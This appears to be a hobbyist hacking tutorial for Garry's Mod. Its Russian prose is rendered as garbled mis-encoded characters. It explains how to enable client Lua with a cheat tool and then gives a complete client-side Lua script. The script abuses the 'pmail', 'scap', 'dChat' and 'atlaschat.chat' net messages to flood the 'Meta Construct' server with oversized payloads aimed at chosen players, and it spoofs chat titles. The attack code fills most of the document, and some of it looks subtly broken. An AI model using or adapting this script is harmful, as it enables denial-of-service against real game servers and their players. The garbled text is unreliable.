Êàê çàäóäîñèòü ñåðâåð meta construct :) mega hack by uhx

íà÷àëà

!!==âñåì ïðèâåò ñ âàìè àíîíèìóñ è ñåãîäíÿ ìû çàäóäîñèì ìåíòîêîíñòðóêò==!!

íà÷íîì ñ òàâî ÷òî íóæíî çàäóäîñèòü ñâîé ãîðåñìîä è âêëþ÷èòü sv_allowcslua
ñäåëàòü ýòî ìîæíî ÷åðåç ÷èòåðñêèé äâèãàòåëü

÷î ïîòîì

ïàòîì ìû áåðåì âçëîì îò uhx êîòîðûé î÷åíü êëàñíû è êëîäåì åãî â C:/progrum foils/stim/stimaps/cumon/goresmod/goredmod/lua/megavzlom.lua

local function Message(...)
--chat.AddText( Color( 255, 204, 0 ), "[BaseHook] ", Color( 0, 255, 255 ), ... )
MsgC( Color( 255, 204, 0 ), "[BaseHook] ", Color( 0, 255, 255 ), ..., "n")
end

-- "pmail" ddos

-- check if "pmail" exist on server
if util.NetworkStringToID( "pmail" ) != 0
then

local function PMail( target )

if target:IsValid()
then
net.Start( "pmail" )
net.WriteString( string.rep( "n", 65000 ) )
net.WriteString( target:SteamID() )
net.SendToServer()

timer.Simple( target )
elseif target == nil
then
chat.AddText( Color( 255, 0, 0 ), "Paused" )
else

chat.AddText( Color( 0, 255, 0 ), "Target left the game!" )

end

end

concommand.Add( "pmail_ddos",
function( ply, cmd, args, argStr )

if tonumber(argStr) == 0
then
timer.Remove( "spam" )
return
end

for _, v in pairs( player.GetAll() )
do

if tonumber(argStr) == v:UserID()
then

target = v
print( v:Name() .. " founded! Sending packets..." )
timer.Create( "spam", 5, 0, PMail )
return

end

end

print( "Cant find player with id " .. argStr )

end)

Message( "pmail_ddos initialized!" )
end


-- SCAP ddos

if util.NetworkStringToID( "scap" ) != 0 then

local len = 65536000
local target = nil

local function SCAP()

if target:IsValid() then

net.Start( "scap" )
net.WriteTable( { target } )
net.WriteBit( true )
net.WriteUInt( len, 32 )
net.WriteData( string.rep( "@", len ), len )
net.SendToServer()

else

chat.AddText( Color( 0, 255, 0 ), "Target left the game!" )
timer.Remove( "scap_ddos" )

end

end

concommand.Add( "scap_ddos",
function( ply, cmd, args, argStr )

if tonumber(argStr) == 0
then
timer.Remove( "scap_ddos" )
return
end

for _, v in pairs( player.GetAll() )
do

if tonumber(argStr) == v:UserID()
then

target = v
print( v:Name() .. " founded! Sending packets..." )
timer.Create( "scap_ddos", 0.01, 1000, SCAP )
return

end

end

print( "Cant find player with id " .. argStr )

end)

Message( "scap_ddos initialized!" )
end

-- "dChat" ddos

if util.NetworkStringToID( "dChat" ) != 0
then
local target = nil

net.Receive( "dChat", function()

local info = net.ReadTable()

if info.target then

local Text = table.Copy( dTag )
if info.target == LocalPlayer() and string.len( info.message ) < 1024 then
table.Add( Text, { team.GetColor( info.sender:Team() ), info.sender, Color( 255, 255, 255 ), ": ", Color( 255, 255, 100 ), info.message } )
surface.PlaySound( "buttons/combine_button1.wav" )
end

else
gamemode.Call( "OnPlayerChat", info.ply, info.message, info.team, not info.ply:Alive() )

end
end )

local function DChat()

if target == nil or target:IsValid() then

net.Start( "dChat" )
net.WriteTable( { message = string.rep( "n", 131072 ), team = false, target = target } )
net.SendToServer()

else

chat.AddText( Color( 0, 255, 0 ), "Target left the game!" )
timer.Remove( "spam132" )

end

end

concommand.Add( "dchat_ddos",
function( ply, cmd, args, argStr )

if tonumber(argStr) == 0
then
timer.Remove( "spam132" )
return
end

for _, v in pairs( player.GetAll() )
do

if tonumber(argStr) == v:UserID()
then

target = v
print( v:Name() .. " founded! Sending packets..." )
timer.Create( "spam132", 7, 0, DChat )
return

end

end

print( "Cant find player with id " .. argStr )

end)

Message( "dchat_ddos initialized!" )

end

-- "coh" title

if util.NetworkStringToID( "coh" ) != 0 then

local msg_typing = 1
local msg_endtyping = 2
local msg_data = 3
local msg_data_append = 4
local msg_data_ack = 5

hook.Remove( "StartChat", "coh" )
hook.Remove( "FinishChat", "coh" )
hook.Remove( "ChatTextChanged", "coh" )

concommand.Add( "coh_title",
function( ply, cmd, args, argStr )

print( argStr )

net.Start( "coh" )

if argStr == "" then

net.WriteUInt( msg_endtyping, 8 )

else

net.WriteUInt( msg_typing, 8 )
net.SendToServer()

net.Start( "coh" )
net.WriteUInt( msg_data, 8 )
net.WriteString( argStr )

end


net.SendToServer()
end)

end

if util.NetworkStringToID( "atlaschat.chat" ) != 0 then
net.Receive("atlaschat.chatText", function(bits)

local text = net.ReadString()

local player = net.ReadEntity()

local team = util.tobool(net.ReadBit())

local dead = IsValid(player) and !player:Alive() or false

if( string.len( text ) < 1024 ) then
hook.Run("OnPlayerChat", player, text, team, dead)
end

end)

concommand.Add( "atlas_ddos",
function( ply, cmd, args, argStr )
net.Start( "atlaschat.chat" )
net.WriteString( string.rep( "n", 64000 ) )
net.WriteBit( false )
net.SendToServer()
end)

Message( "atlaschat.chat initialized!" )
end


íó è íàêàíåöòà ñàì âçëîì

÷òîáû âçëîìàòü ìåíòîêîíòðóêò íàì íóæíà íîïèñàòü ïðîñòî lua_openscript_cl megavzlom.lua
è âñ¸ åñëè âñ¸ ïðîøëî õîðîøî òî ìåíòîêîíòðóêò âçëîìàåòñÿ àâòîìàòè÷åñêè èíà÷å âû íå õàêåð

âñåì ñïàñèáî çà âíèìàíèå!!!!!!!!!!!!!!!!!!

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